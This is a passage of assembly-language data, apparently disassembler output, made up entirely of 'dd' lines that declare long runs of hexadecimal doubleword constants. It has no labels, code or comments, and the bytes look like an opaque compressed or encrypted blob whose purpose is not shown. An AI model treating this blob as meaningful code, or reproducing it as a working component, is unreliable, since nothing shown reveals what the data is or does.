		dd 0B777E1FFh, 87E22DBCh, 1E2D1882h, 5A639CD5h,	0EC79BD3Ah
		dd 4CCB0218h, 0FF8FB20Ah, 0E4B9715Fh, 0A241B8FCh, 0EE922E2h
		dd 0B772D320h, 997DDEh,	73BA1B92h, 8DC33C50h, 9DA9604Ah
		dd 7FE955B8h, 5CF5BBC2h, 92B72542h, 82D5260Bh, 77E1808Bh
		dd 6F8094B7h, 0D4AD6905h, 0E2741243h, 0C652E477h, 0FA8B29C5h
		dd 47EF6BAAh, 2F7901CBh, 9EE84B53h, 0FF7B093Eh,	12A55571h
		dd 4CE5D5DFh, 0B909D54Bh, 2F50E5F7h, 529F9446h,	15BD1052h
		dd 0A0F14B20h, 956ACDFCh
		dd 0EDCAA56h, 5CCA18A7h, 689EDDC0h, 172FBF3Dh, 0C2FBE091h
		dd 6F072044h, 0BA1D592Fh, 3A04F7FCh, 9265E81Bh,	232FE7A3h
		dd 443A957h, 18E90293h,	0A901AD16h, 0B5DAD9EBh,	8FEDF5C2h
		dd 0E0D46CE9h, 66120BE4h, 51F084BFh, 7ABB694Ah,	66872560h
		dd 0F3BD80C4h, 0BF5F5F18h, 0C512B16Fh, 707F2FDh, 6554B1EEh
		dd 22E261B0h, 0FC812EFh, 0CF79A889h, 95F2B51h, 855134h
		dd 0B3ABA9E0h, 32006768h, 0FB06A53Ch, 97800F11h, 133FCCD3h
		dd 6BAE5F6Bh, 11B23DBh,	0EA6BC9C4h, 0FB84F491h,	0FFBD3327h
		dd 6229EB07h, 92D512C1h, 333E692Fh, 0C9327A69h,	0E6F7501Fh
		dd 98759580h, 4306987h,	0DE8BA7C7h, 0D45ECD58h,	98001E4Bh
		dd 0DC8E93BDh, 0B30F667h, 6143CD8Ah, 3797AFD0h,	0B92A0B78h
		dd 950244D5h, 0BD55ED09h, 0DE9FD1h, 4BE5033Ah, 6131F1EAh
		dd 24D6256h, 53846800h,	59C38F6h, 7BEE4025h, 57E7A50h
		dd 0EDF0B2BBh, 0BF58852Dh, 9D80799Fh, 80C638F7h, 7A85CF2Fh
		dd 5472BF1Eh, 60135995h, 85168CBFh, 953E468Ah, 3600F3E4h
		dd 62ADB7D7h, 1AEB4A7h,	79BC2D8Bh, 0DE5ED17Dh, 4D11C45Fh
		dd 13D6185Fh, 619AC200h, 0DC2154h, 0CC5DF68Ah, 0C0F3FC06h
		dd 0F56CE92Dh, 0EA57C832h, 523DD5ABh, 0EF961791h, 88A2ED52h
		dd 0ED16308Eh, 5B5BE81Dh, 2344C829h, 0ADE15CB7h, 0AE266F51h
		dd 729D57A5h, 9FADC72h,	0A7561FD1h, 0C5D2FB71h,	71323174h
		dd 0AAE3208h, 0B6B55DCBh, 3D82DD59h, 19D58531h,	197932FBh
		dd 0FEBF1A18h, 9D01820Bh, 5BD70F8Dh, 8DCE7202h,	0B74AC709h
		dd 0BDC55897h, 5BF4C276h, 976AEBC9h, 3B3DD95Bh,	0C02CA0h
		dd 188258FEh, 1D9D0BDFh, 80E01C58h, 0FBBB50FAh,	6C152643h
		dd 0EB8A9EA9h, 0FB9125B2h, 0D74EECA6h, 0BE6451FEh, 0A3AB63D6h
		dd 0D0F72520h, 0FB614FFEh, 0C70BC27Ah, 81023701h, 7BE8F410h
		dd 0D69F5D18h, 1CADC282h, 70EBBB14h, 0D35B5ECFh, 0AA05B2B0h
		dd 0F56A4A30h, 0EF8E3FBh, 0EB4A0B0Fh, 4FC26043h, 2A796982h
		dd 0F2E2570Bh, 9DCC674h, 19DAAD3Fh, 402DCFDDh, 0D4B99D7Dh
		dd 10E77F2Dh, 0D9A23h, 89BE9809h, 0D7DFC1A5h, 8BB7164Ah
		dd 0DBAC2959h, 0EFE00173h, 0E9938612h, 0F5127BE3h, 5D92FE31h
		dd 4AB7FF6Ah, 0C517AA80h, 17D1AC5Bh, 0AA8C0FFFh, 54B5DC32h
		dd 0B51355F1h, 0EB0BEAB8h, 18C61F54h, 71529625h, 541A0061h
		dd 0CFE29CF4h, 177FC405h, 0C5FF505Fh, 6AFBCDFDh, 31805CFCh
		dd 0F4F9BFBBh, 6286334Fh, 75FE9DB0h, 5BF00F6h, 1C197339h
		dd 2254EA6h, 0E39A57B0h, 39134801h, 6EDD2A81h, 2B1F8D6Eh
		dd 8A2F6128h, 0DE0155E4h, 0EFF48589h, 0A27E472Ah, 0E1E74B86h
		dd 93D8C704h, 1FA2FE5Bh, 3798C801h, 6BE81997h, 0DF2556BDh
		dd 9C20BF5Fh, 31258F54h, 9A0DDFE1h, 0EF0920A1h,	218CAE4Bh
		dd 58D1609h, 0FC38281Dh, 9EA9895h, 11BD2185h, 23494FE4h
		dd 97A35A77h, 94D47DD6h, 0AA42C44Ch, 90D87620h,	0B0460473h
		dd 0EE206D6Ch, 2E01D004h, 273BF012h, 175F6180h,	91C6D88Bh
		dd 3A157144h, 0BDD2BEB6h, 0F8F2A876h, 0F9B30BC6h, 68F7B509h
		dd 0B6F43DF4h, 9DD5BE99h, 8103396Ch, 0BAB22AF3h, 0F00EB387h
		dd 5576EACBh, 146E8A98h, 79CB55D2h, 4060E6FFh, 15794555h
		dd 5F65505Fh, 205E39E6h, 0C22B58B0h, 8CF01ACDh,	4D387C85h
		dd 1251C35Ah, 50B74084h, 3BD0033Ch, 45383A81h, 3644E65Bh
		dd 2F0AAC2Dh, 624D9E9h,	0D57682C8h, 400382E8h, 0F84F3C6Eh
		dd 0DE1A8DC2h, 12627DF9h, 5031B39h, 1C5B61F8h, 8DD1030Ch
		dd 4D091D20h, 128808EDh, 640523F5h, 6D05058Fh, 0A2BFC483h
		dd 8B511332h, 81105B01h, 1446B0A9h, 335909B5h, 5702C3C0h
		dd 0E0463105h, 30C62444h, 476BE585h, 0A712D268h, 8304D49Ah
		dd 0EBAD1D45h, 0F05A8A39h, 1890D09Bh, 5BC408D6h, 0D38BD645h
		dd 1A00FCE2h, 49DA3D93h, 4D001D40h, 0E757545Bh,	13EB178h
		dd 0F267091h, 215FD7BFh, 9A67D002h, 250F434Ch, 0B28FE0E2h
		dd 8BBEC395h, 2E00070Ch, 0F8C181F7h, 0B72E560Bh, 201FF264h
		dd 198B2F37h, 1590FF22h, 2701EAA9h, 0FEFA049Fh,	320AFD2h
		dd 97B21DD6h, 40F1415Eh, 2C5CBC61h, 5970857Ch, 2C3800EAh
		dd 0F943C7CCh, 18139B77h, 1C00BE0Ch, 0E9815B84h, 0FB4B01B2h
		dd 51D78B39h, 0E2E5FC66h, 7048F12h, 80267558h, 836F1FDAh
		dd 97F31E8h, 0F4F8FC08h, 5026A248h, 80881048h, 0AA6A4AD6h
		dd 0D4145540h, 1F7B41E8h, 68956524h, 64890079h,	0B516ED5Bh
		dd 7E124D3Eh, 0DCBED68Dh, 5D49E95Fh, 0BC78075Ah, 9090EC1Ah
		dd 1CA7F2FAh, 8AA6E544h, 0AD5CF0h, 0AF89AC87h, 6000248Fh
		dd 0DEA8EB7Fh, 32F0344h, 0B4FACA67h, 1EA03309h,	5800D6F1h
		dd 6E719062h, 3AB7ED05h, 0DA3002BEh, 6250F421h,	0DD4E6C00h
		dd 0B3CA2129h, 97D600E8h, 876A603h, 9107248Ah, 4A6C876Bh
		dd 0E62200EEh, 12EA7F4h, 665B9967h, 809DE0E7h, 215A5810h
		dd 1B413FF1h, 40D1AAA4h, 700336C3h, 494A3883h, 511100EDh
		dd 0E2B93DA0h, 22189EF3h, 5808F46Ah, 3120C038h,	8DBB3DA8h
		dd 3EDB423Bh, 68FB30AEh, 610C3771h, 0B7209041h,	8008FE24h
		dd 5280EE11h, 0BE719262h, 0E3220243h, 624AF607h, 2A961C1Bh
		dd 7E4F1CA9h, 42F74052h, 8B906ED0h, 74F97306h, 0C8D00CB2h
		dd 97C051C8h, 43E2BE3Dh, 9FA880BBh, 3BFC6F3Dh, 0B68A81E2h
		dd 40D805D8h, 0AB30D71Fh, 3A6BC0C0h, 0E8F64Ah, 190EC35Dh
		dd 4364E568h, 0AED92900h, 0AF66795Bh, 90F00044h, 1D0C4C98h
		dd 0FD00CB9Dh, 0B18B23BFh, 402CA6Bh, 777F6736h,	8F04C330h
		dd 60A8EE0h, 90004F8h, 25F4CC9h, 0E3A34D6h, 0E5DB18BDh
		dd 0DD38F181h, 730898C5h, 0B51F21h, 28957618h, 0FAE17709h
		dd 13FF848h, 5A346212h,	0A3F04982h, 0DB177A7Eh,	2E13870h
		dd 0F12DD070h, 0F611D760h, 3BA9FDDh, 0FE3EF08Eh, 830F856h
		dd 0E5972103h, 4DEF2E9Fh, 0DCAC014Eh, 8309A689h, 0CF96E7B8h
		dd 0DD600632h, 1926D2A9h, 0A6B8E10h, 6F5B7060h,	10C0854Fh
		dd 55877491h, 0F18A504Dh, 1B0D00C4h, 0DCB12499h, 6B002D67h
		dd 0E9D38307h, 5EB96Eh,	3AE6FAF5h, 0D486B17Dh, 0C88C9800h
		dd 4579210Dh, 3F320088h, 4BE3C4F9h, 6000AD6Dh, 3CE6A7F0h
		dd 1D7B39A1h, 0D394BAh,	240E5E43h, 0CB002BC0h, 0BD729B6h
		dd 3A207E3Ah, 8A006323h, 0CFD4884Bh, 0EA06E175h, 3AE9486Eh
		dd 218B6008h, 3CFCC1Eh,	664EBA00h, 0E35FC5FFh, 0C4AF003Eh
		dd 0BDCD00Ch, 6803465Ah, 0ACCB55EBh, 5E3B888Bh,	33FE0C7Eh
		dd 0B078D118h, 4B8E8109h, 0A8D28068h, 3F900E56h, 0C2000CC0h
		dd 9F755E41h, 10C5072h,	2067B8C7h, 0D340A4Bh, 78207B1Ah
		dd 388CC17Ah, 7B8CBDCh,	652CE78Ch, 0D5196428h, 89988AC3h
		dd 1D68A9FCh, 304AB2D1h, 0C149EBE8h, 4BC42401h,	23CC8E1Ah
		dd 213D089Bh, 17C11388h, 0DC10E107h, 2D0FBD7h, 7F7DAA4h
		dd 0E43E8FA6h, 0E8A04C55h, 0C0818A1Ch, 1EF0A0A8h, 4A0A2407h
		dd 86FB2007h, 63084F4Ch, 1C40210Bh, 0D7E239B0h,	1FC0B814h
		dd 0B3E31DA8h, 7C586103h, 3A60308Ah, 0D75BDE31h, 0D689A806h
		dd 0AE085D0h, 8C95C12Ch, 807C1140h, 7510A25h, 10F58C18h
		dd 0C70B1D3Fh, 0C8C4C650h, 205F2409h, 0FD264600h, 9B690727h
		dd 0AED542D2h, 0B45E3CC2h, 8035405Fh, 0EBFE000Ah, 0F1460F03h
		dd 0E039011h, 78E68998h, 0C8501973h, 501FAAA7h,	7DCC4A8h
		dd 0FFC89450h, 3E77431Dh
		dd 0E5DE841Ch, 209099B6h, 0C40C694Ch, 785927ACh, 930D05DCh
		dd 0A8C8064h, 64BCD88Ch, 0A27617Ah, 432807F4h, 132267h
		dd 0F20B1F41h, 0CBBF62FAh, 7BF00C00h, 0CC207901h, 9E5E0396h
		dd 30D85836h, 2B922FC0h, 8B88A0C4h, 0A0D9441Eh,	0EFCB0186h
		dd 208AB280h, 74488AF8h, 9B000D46h, 3E81DA6Fh, 0E503A9B5h
		dd 4D03FF3Dh, 0C958B868h, 84CCAA1Ah, 0D56023E4h, 0E1236ECFh
		dd 99011F2h, 80CFCD1Fh,	0D0F7C567h, 798560BFh, 4D5F6F36h
		dd 740CC900h, 51D5CBDEh, 3490119h, 5E93DAF4h, 24442035h
		dd 8121D400h, 94C12DC3h, 1EC8918Dh, 0D54CE0C8h,	0DBFA7CFAh
		dd 65869318h, 0AC8D938h, 465FF75Eh, 56B201F4h, 209A759Fh
		dd 48CD0C4h, 0C425C150h, 20336213h, 0C2C11291h,	0B16D600h
		dd 27BACBFBh, 7289398Eh, 5804247Bh, 6238C238h, 8CCF680Ch
		dd 22C14F04h, 8C381BC4h, 0A8C11901h, 0A54876D9h, 58DC0020h
		dd 850CD649h, 0D9295611h, 0B3955E00h, 90F6E9A8h, 48D5E22Dh
		dd 84104C04h, 0C07D888Ch, 7460A28h, 880B18E1h, 0A39203Ch
		dd 0B0D5844Ch, 8C118D8h, 44274FF9h, 0F8313436h,	44769424h
		dd 0E152451h, 49088C4h,	5F9FD4C4h, 0D420A48Dh, 0C30C8CAh
		dd 4C089CA4h, 0FB240678h, 4E0B187Fh, 18CC7DCh, 0F6D5C5A5h
		dd 0A9CE3CD0h, 482095F8h, 0D3048C21h, 0E2E170CFh, 25209162h
		dd 46CFCBh, 591A4079h, 0A4C17FDEh, 0E400EC99h, 5E3A057Dh
		dd 48D92A85h, 20D200B8h, 0DFF1313Fh, 909ACEFBh,	39588B76h
		dd 8C8FBC6Ch, 0F16FF609h, 101810B8h, 0CB468468h, 26C14B02h
		dd 10C73BC4h, 0C1158800h, 0E4D7FED9h, 0E83115D0h, 8879C436h
		dd 0D0A022B0h, 3D7CFF7Bh, 30674344h, 27484C5Ah,	916ECC99h
		dd 7DA007Ch, 1F3D154h, 57EFEAFDh, 0E45F930Ah, 0C668C85Bh
		dd 4674BCC9h, 0B57D0F54h, 0B795866h, 0C8EBF7E5h, 1393BE78h
		dd 2170AD1Fh, 78F057Ch,	1207B11Ch, 2155D0D7h, 2327C38h
		dd 0B98527D5h, 5C008109h, 5B1B6742h, 0F917C921h, 0FA571854h
		dd 0C4950489h, 805D3FE4h, 6F75DF60h, 0CD46D8A6h, 28C14507h
		dd 36C458C4h, 878649h, 0FE3D005Dh, 0F424D012h, 7B00B41Dh
		dd 62CE31BEh, 5C752A25h, 2CC4630h, 0C429C14Ch, 11383133h
		dd 28704E8Dh, 0A808E689h, 0B4538Ch, 0CDEF7BCFh,	0A5A7099Ah
		dd 1888D37Ch, 28916F67h, 281C4500h, 0C4008C78h,	4AF41A63h
		dd 0C08F6615h, 0A3716A21h, 9F06D5D3h, 870D7A84h, 0E85E5408h
		dd 0A3790351h, 64CD5B49h, 45B16100h, 31A2712h, 207A12C7h
		dd 0DCB4000Bh, 5E3919ECh, 796CB600h, 0C88FED3Eh, 44BA2Ch
		dd 24CAC57Bh, 0FB932F62h, 0D1019F00h, 80EB2147h, 0FEF418C0h
		dd 0D7034014h, 581CBA30h, 39019762h, 9A0048B3h,	3DB2B23h
		dd 0D8902EA3h, 7C0308A2h, 0E023DF6Ch, 0A36E014Eh, 1897D5D4h
		dd 76508866h, 5643A300h, 1D218A71h, 0EDE0E72h, 0FA460C57h
		dd 2C85490Ah, 0B86261C4h, 0FBF442C0h, 18341948h, 0C7215966h
		dd 3972E9h, 0C6985669h,	0D75F3E2Ah, 5824DD24h, 366EA40h
		dd 0C8E007Fh, 0E3D9FB32h, 0A5022C28h, 3987CF1Bh, 50C960C7h
		dd 998C63B6h, 42E7AD8Bh, 8C46241Ah, 73CFD604h, 60CE3AE1h
		dd 0CFCE2800h, 52BED33Eh, 7CE23F12h, 0FCDFD020h, 3A8B8082h
		dd 8E642CA5h, 0C8828361h, 7424B0D7h, 0DB01040Ah, 184AF5BEh
		dd 0A3FCA859h, 87D523D6h, 4A006711h, 2F8EA37Ch,	380BA9DBh
		dd 0E7E8D8h, 6212FA3Ch,	0ACCA1682h, 7E484003h, 0B3E34401h
		dd 4BDE25h, 0CE91977Ch,	0A7C3281Fh, 0D5474098h,	1160C87Fh
		dd 793DD98h, 45158D3h, 0D64AFA00h, 7ED4D00Fh, 0EA6820C3h
		dd 9E13F263h, 0D9662320h, 0BD020A1Ch, 9D12D7DCh, 8E66117Ch
		dd 7724E0D7h, 710686h, 222AC1A0h, 7E16CD91h, 4EE33500h
		dd 1AF11C80h, 0EA37019Ah, 23685B8Ah, 7749BC3Dh,	0D00C4174h
		dd 0B021C4C8h, 36E60013h, 8901CFA9h, 99F324D8h,	52D8FBC9h
		dd 0F1E08864h, 0A4044061h, 2F648804h, 34600856h, 2609B4A6h
		dd 0CEE0051Bh, 4589D4C0h, 18462C61h, 57240B9Eh,	0C84F04A4h
		dd 28C87BE0h, 0F034079h, 0FC901739h, 8B1A67FCh,	9178438Ah
		dd 0D1A142C8h, 3C668A1Ch, 3BC06C98h, 5557F3Bh, 28E4C11Ah
		dd 0B88B4C01h, 0C0868018h, 2157BAE3h, 42445C85h, 77891540h
		dd 0D0004F7Ch, 86ECC220h, 49C10C3Fh, 3E029C80h,	7E26CC53h
		dd 75B45060h, 730E8B00h, 6090D4C7h, 0B1346067h,	0DD9FA3Fh
		dd 78290A01h, 18857B89h, 4C7ACDD0h, 6789F8ABh, 0AA831810h
		dd 18011530h, 7F7FFD57h, 2775000Eh, 53D6A04Ah, 0BE0C5B84h
		dd 7995C958h, 29BF07DBh, 0A4D74779h, 0D9E4C011h, 0E9C18FD0h
		dd 7C1703DDh, 58C29840h, 0E21C2673h, 0B2BF0BBCh, 9A7D0100h
		dd 0BD07E303h, 0FB57848Fh, 14D9799Ch, 24CE1CD8h, 0B7AF810h
		dd 1E2FF37h, 0DE9FC244h, 61A23C63h, 0D5CBB833h,	141702F7h
		dd 0A4023E9Bh, 3444D0C7h, 0FC978064h, 0DBFAA67Ch, 41A29312h
		dd 242A2C02h, 45ECA053h, 135CFEDh, 991C28A8h, 0F4CEC5C1h
		dd 32093FEFh, 84BE2B78h, 90C8D7D4h, 40DCF289h, 7AE02C60h
		dd 0E32EA8B8h, 467C5080h, 0B5FB008Ch, 43FD7FBCh, 54842EA4h
		dd 3FA00080h, 3CC70116h, 2090BEA1h, 0F091FA00h,	62847505h
		dd 0E39D30CFh, 655A7701h, 60FDF90Bh, 0A88848h, 58F8881Fh
		dd 0CE17DE18h, 0C1761C0Ah, 0C808011h, 66FA4CDAh, 0D95E01D3h
		dd 72A7E4CDh, 2874E429h, 0BDFD5000h, 253D8546h,	0A459C056h
		dd 0AD06E07Fh, 0D29B601h, 49FA9444h, 0B024C720h, 6E7A1228h
		dd 88B4CBA2h, 0F6D1C030h, 0C3FC15DEh, 0C6059E00h, 167F578Eh
		dd 0DC661C68h, 0D6DB00C4h, 0BEE2FAD7h, 0DE3F3712h, 0CAADDC20h
		dd 855F26C2h, 845937E3h, 83E0C0B8h, 7BF0E86Ch, 2260C096h
		dd 0E507500Ah, 40C471DEh, 530B1A3Eh, 919B4E06h,	1F1910C1h
		dd 40427325h, 30F5495Eh, 0A5007195h, 0A807FF20h, 53394ADh
		dd 4037E92Dh, 82F4050Fh, 0AC38884Bh, 27E37C40h,	7C1792BFh
		dd 80893291h, 0F8DA1D80h, 0F400556Eh, 0A86A99C7h, 4C30CC1Bh
		dd 87125C67h, 1D64217Fh, 8D70C24h, 42E174CFh, 294F55C4h
		dd 91A640FCh, 0C0D8D5DEh, 57B08461h, 58245C03h,	914960B2h
		dd 0E6E298D2h, 9426197Bh, 0D500660Ch, 7F28C22Dh, 293760B2h
		dd 0A19D046Fh, 0CA483Eh, 0FB28C996h, 4414407h, 5FDC8417h
		dd 30C8C7D4h, 5E3B8E5Bh, 3028FF0h, 0EB46AB63h, 0C60C056h
		dd 5EA89E65h, 4791946h,	0B5597781h, 0DA42C010h,	624C3EB3h
		dd 540D0024h, 0C34FC9D8h, 94FB7856h, 6012441Ch,	23D8A372h
		dd 651177D5h, 0A3F473h,	1695E6CEh, 0DCC02EC8h, 0B8B22094h
		dd 0A293078h, 0F8074D08h, 40186466h, 410A213Bh,	0E74A0092h
		dd 0CCD8D0FCh, 1712B596h, 1C8865A3h, 0EECE0330h, 39AC8BD3h
		dd 0F8B01FC2h, 7216CFD9h, 0ECCBD2E1h, 7DD12310h, 42ED8F02h
		dd 407C80B8h, 24B94C60h, 749C49A7h, 0C0030C46h,	5C240649h
		dd 14A0691Eh, 0D2390CC0h, 27B45F0h, 0DD24BE26h,	3CC8F9B3h
		dd 0B02CC0D9h, 3A48D1h,	68C10FEAh, 9AD81131h, 626C9BD4h
		dd 68C36C35h, 14A232A4h, 0A4041A2Dh, 8164CEFCh,	0CAC423A4h
		dd 8B0044C7h, 0EE7FC118h, 0DE440247h, 4EB3E19Ah, 3B7523h
		dd 0C271F629h, 734DFFD6h, 6C26F400h, 0D772A827h, 12BC7E84h
		dd 909066A2h, 0CAE742F8h, 3E386701h, 4A8093B6h,	0C035830h
		dd 7145C0E9h, 0EE4CC728h, 0CE007E6Dh, 9547E254h, 159BCE9h
		dd 3CFCA3E3h, 282450C1h
		dd 373804D0h, 7CA0E0B1h, 426D3DE9h, 0BE15CF87h,	0F8BD808Fh
		dd 220BAFC4h, 831CD91Ah, 98790661h, 9576EEBh, 29C4CDB5h
		dd 0E5007864h, 0CB2FC9B8h, 171F7BAh, 431809BEh,	106523FAh
		dd 17E9B0h, 0FD6990Ch, 7A016429h, 35384C5Ch, 6E83496Dh
		dd 0E1313E5Dh, 0A04D9615h, 0A2006422h, 0F7E8CFC7h, 59F5E9h
		dd 0B8E14A30h, 0A4D1D813h, 89C13E0Bh, 68608788h, 4B505E07h
		dd 2B7274h, 0ACC2E994h,	0E5ED5F4Ah, 23496800h, 0FD25CA95h
		dd 0FB51001Ch, 0FA67462Dh, 9A0FF99Eh, 80202BB9h, 4D3D3575h
		dd 0B22D032Ah, 4B886F67h, 7CB02900h, 7B98FBBFh,	0D1A4195Eh
		dd 80160823h, 0BF140B21h, 0C461A38h, 4AE13DF5h,	0D1008748h
		dd 511FC565h, 500596h, 41ABA067h, 0AA69818Fh, 9F7C5770h
		dd 80D01081h, 11A46352h, 9BB0DEBEh, 0FFE2C3B1h,	80C2131h
		dd 20804FB7h, 2BA4D6E7h, 0FDE6EE10h, 36913518h,	0F1DB78h
		dd 91B61C7h, 0BA5D4577h, 3F182B7Ch, 94F1C5A1h, 6FE00CA2h
		dd 5A709EFEh, 448AF82Eh, 63ABE603h, 2E09307Dh, 8AF03AA1h
		dd 0B552EC18h, 0FC8181h, 13153F86h, 64A6D584h, 0E0EFE109h
		dd 70D8010Ah, 2DFD09C6h, 0ADF7D180h, 0AE8F8252h, 400201EEh
		dd 61B0681Ah, 118481F5h, 80581450h, 23A7ECE2h, 0BD11E3B1h
		dd 0A4DA007Bh, 0F08ADFBBh, 950156E6h, 0E07A1043h, 3C427B58h
		dd 0C41DC064h, 0EDE83C1Fh, 8E9D9F00h, 0CC45AF8Dh, 3C8BBA00h
		dd 4014D12h, 3E6A0096h,	5B85A251h, 6000B4DBh, 0CF206C06h
		dd 79ADAh, 547C6704h, 596E1971h, 0FC86C539h, 66E4FC00h
		dd 7F4E0DE6h, 6D170740h, 0AF2AFDAEh, 0F896BEh, 9526B27Ah
		dd 631F790Bh, 0E580824Dh, 5EB851ECh, 0AE2300E2h, 0FFF6F9C3h
		dd 0A73AD542h, 0DAFB809Ah, 8326D75Ch, 7960001Ch, 9CE11335h
		dd 0E300D491h, 0E2DAE3Ch, 1F4D385Ch, 0D97C855Dh, 0D86D30D6h
		dd 4C0121B9h, 0B701ACC4h, 18809611h, 0B5028C04h, 0F007E63Ah
		dd 0B11F9042h, 0D01957D3h, 5CA08A96h, 0AF3D3603h, 8763F281h
		dd 20D95D77h, 350F1730h, 200EA242h, 0C776B1E3h,	946218ACh
		dd 872C79D9h, 45C9C600h, 5BF431EAh, 4084603Bh, 94EC628Dh
		dd 9907B903h, 0D84DB014h, 0C0853683h, 987E7118h, 31833C2h
		dd 0D50D44Fh, 0C42D01B6h, 781528A4h, 5288406Dh,	690064AAh
		dd 0E637AB13h, 3ECEDCh,	0E2A91CFAh, 2C1243D8h, 777C8679h
		dd 0D73640h, 0A5DCBFBCh, 645A1344h, 0CBF28900h,	947C2798h
		dd 71EB07F7h, 2841EAh, 7350E7E1h, 1156770Ch, 7C7982h, 0C2327F8h
		dd 5B35C6Fh, 28805B50h,	51D49700h, 0A8F10EA1h, 0B8831FFDh
		dd 1F0F7EF7h, 0CE809DFCh, 0F38F676Ch, 79E163Ch,	232E5F10h
		dd 2B5AF220h, 0F02DE84Ch, 6B4E0028h, 0CA55D3C9h, 3D638B10h
		dd 1F9BA08h, 6B444920h,	0DD26DD36h, 0B577F44Eh,	2070826Ch
		dd 8BF93E08h, 2AD9FF8Ch, 475CCD11h, 0B8AD0171h,	0D0F4FDECh
		dd 2492088Ch, 3E03F020h, 3873E5C9h, 800D9204h, 0D3C0F289h
		dd 30090125h, 64A08B9h,	2D308011h, 8EB46583h, 1D84038Ah
		dd 168CA22Ah, 21007BA3h, 56B2FDCCh, 1F47F8F6h, 0C63A25DDh
		dd 0E4A1349h, 0CF6399C0h, 0F9ED96Ah, 8C844872h,	6D870581h
		dd 22D081F3h, 90E91464h, 3C3198CCh, 3A0047DFh, 0AD05C101h
		dd 0D91CB834h, 3D8029F1h, 0E00FDD3Fh, 177300C5h, 0D1D00170h
		dd 0D500CD46h, 3A4C2433h, 2085B9h, 27740888h, 39CFCA30h
		dd 73F038h, 6AA54C84h, 0F8D5Dh,	8BC5623Ch, 0ADFF88D2h
		dd 0B92CE83Dh, 3D7381CDh, 69A9967Bh, 1EA10D60h,	80437F3Eh
		dd 6B7A50FCh, 0F7485822h, 65690061h, 0FBFEB609h, 0EEF03F16h
		dd 0FEB5601h, 0C48AD8A5h, 81F696FAh, 4370BE0Eh,	0BD2D45D4h
		dd 198C0FC3h, 612B0B18h, 0D170E0D5h, 0F78A3801h, 0CDAD58ECh
		dd 2CDD1AD0h, 1EB73E9h,	96C3FEFFh, 0E835E9E1h, 0D33E08E7h
		dd 8786004Fh, 0A777A029h, 681261BBh, 0C593043Eh, 2E908733h
		dd 0D808B9Dh, 30FB07ADh, 0DE183C6Ah, 0CD00FFAAh, 0D4DB7CF5h
		dd 1146ED3h, 570BD5A8h,	804046B7h, 0D9362DA0h, 3C166815h
		dd 6E80C05Dh, 0BCB14B26h, 0A9631E93h, 1B8EBE9h,	0FCB2F319h
		dd 0F0D58E2Dh, 72717E33h, 92EF3603h, 913F3826h,	8050A889h
		dd 0C7AA10h, 0A6175F1Ch, 27FEA905h, 0E155CA00h,	0D20CD368h
		dd 97B900C7h, 35F8B0F4h, 1E00A993h, 0C24936A0h,	73414C9h
		dd 41D9925h, 0AF444323h, 0C1582000h, 0A927E5C3h, 78A11CE8h
		dd 3757C0D7h, 14CE35B7h, 8F182B00h, 0C6843C6h, 85EF3988h
		dd 8FF3380h, 1EB0A60Dh,	53962E07h, 784C94E9h, 0E0EDE080h
		dd 0A422031Dh, 0A3521F02h, 210F7CA3h, 0C0ED07DAh, 3AF6FE67h
		dd 18177BA7h, 0B9CFAED5h, 5F982A89h, 9A78FE00h,	3A9703F6h
		dd 0AE60069Eh, 80EC3885h, 0EF195A03h, 1989524h,	21579639h
		dd 81AC2DC3h, 52FD8911h, 72E83701h, 45301D92h, 1F070C73h
		dd 0F6000420h, 974B0852h, 0EB880E0h, 0BFE89F8Eh, 5023583Bh
		dd 52FC00C6h, 71F53704h, 21946086h, 0F52F76Fh, 0E23848h
		dd 98505EC1h, 0D91397h,	2C43C5F2h, 7D78C9Eh, 0BEA930C0h
		dd 3C6D2BBh, 4331C9CDh,	818D9A1h, 4420A5F2h, 0FAD200C5h
		dd 92991489h, 0F4A0984Eh, 0D5300B53h, 0F04B605Fh, 93A307AFh
		dd 0E0C49D0Ah, 66FA1C36h, 0CBF45500h, 729705A4h, 0B9AC0027h
		dd 7FE68EADh, 58F4BBD9h, 316E8400h, 3CEDEE55h, 1EDFE276h
		dd 80F6DA01h, 772EB826h, 5800475Ah, 0DCFCE324h,	8B15EEh
		dd 0DBC9F39Fh, 0B91DDAFDh, 38F66B38h, 0B4988351h, 475CD6h
		dd 0C7662314h, 93E5FB84h, 67413901h, 0E665DFC4h, 45D1094h
		dd 3F30C4ECh, 523D10FFh, 99AF3936h, 3B55CB00h, 2B9C388Dh
		dd 4031AE1Fh, 13CDA200h, 1FD8E1Ch, 8628CCFBh, 0BF953420h
		dd 33590012h, 0E3BE3502h, 373004Bh, 9DBAB414h, 0F37AA8A7h
		dd 0B5803Ah, 0C162E92Dh, 18D48h, 0EE6C4585h, 8AF4F2CCh
		dd 0B2BF881Ch, 94D53F3Ah, 48964DB8h, 89653B17h,	8041CC21h
		dd 0E5B6ABFCh, 0DDCE00E8h, 0B1754BCDh, 0F0005B98h, 398F9C7Ch
		dd 279BC6h, 6368DBC1h, 0A37FB64Fh, 88038A73h, 0F7640A9Fh
		dd 1510062h, 39ADC06Dh,	3D00DE8Ah, 9719726h, 60AE803Ah
		dd 4DE4489Fh, 9316D12Ch, 420BF50Eh, 0B6208062h,	0F94C24Fh
		dd 474C4833h, 5978272Fh, 290065B7h, 2A1C66CDh, 1C738B1Dh
		dd 144DB2Ch, 51F18452h,	0BD6180E4h, 0B50BD982h,	631C02F4h
		dd 0CBDEAC66h, 15C8B5C0h, 0A509230Bh, 0EEB30167h, 8DC8084Fh
		dd 6B73005Bh, 52243B48h, 5300F18Ah, 3DC0B1DCh, 57136D1h
		dd 0E10D3E16h, 0D4D9C06Eh, 5504956Dh, 5E148DF3h, 1DF00481h
		dd 1DC3C0F8h, 0B0A717B9h, 0AE285290h, 0BE5A0B1Eh, 72230580h
		dd 5699621h, 1DC5DD50h,	0D7B040B8h, 0C3917056h,	0B1F34609h
		dd 0B430213Ch, 7AC084ACh, 279A0061h, 5A732560h,	0AE00A6BFh
		dd 69BE1BBBh, 35F08C8h,	19AD71FEh, 0FB86FDAh, 0FDEEBCE9h
		dd 7FA16B03h, 0FBED12EFh, 0C90ED983h, 200CCE61h, 5CEE04E1h
		dd 80CF0D20h, 0E39EEF44h, 55B39700h, 12CE1B5Dh,	0CDF499h
		dd 0BB4DA361h, 0F77B7AD7h, 34FE5818h, 0A7D6A0h,	64BFC187h
		dd 829D7C4Eh, 0A3003D7Ch, 0E94CBC15h, 127091D5h, 3DB4A48h
		dd 0EEC8AA00h, 74426097h, 0C998548Eh, 0BDFA5300h, 0D1DBF963h
		dd 685D000Dh, 5B58ED27h, 0E600CFA2h, 0EF7699EAh, 0EE6B4670h
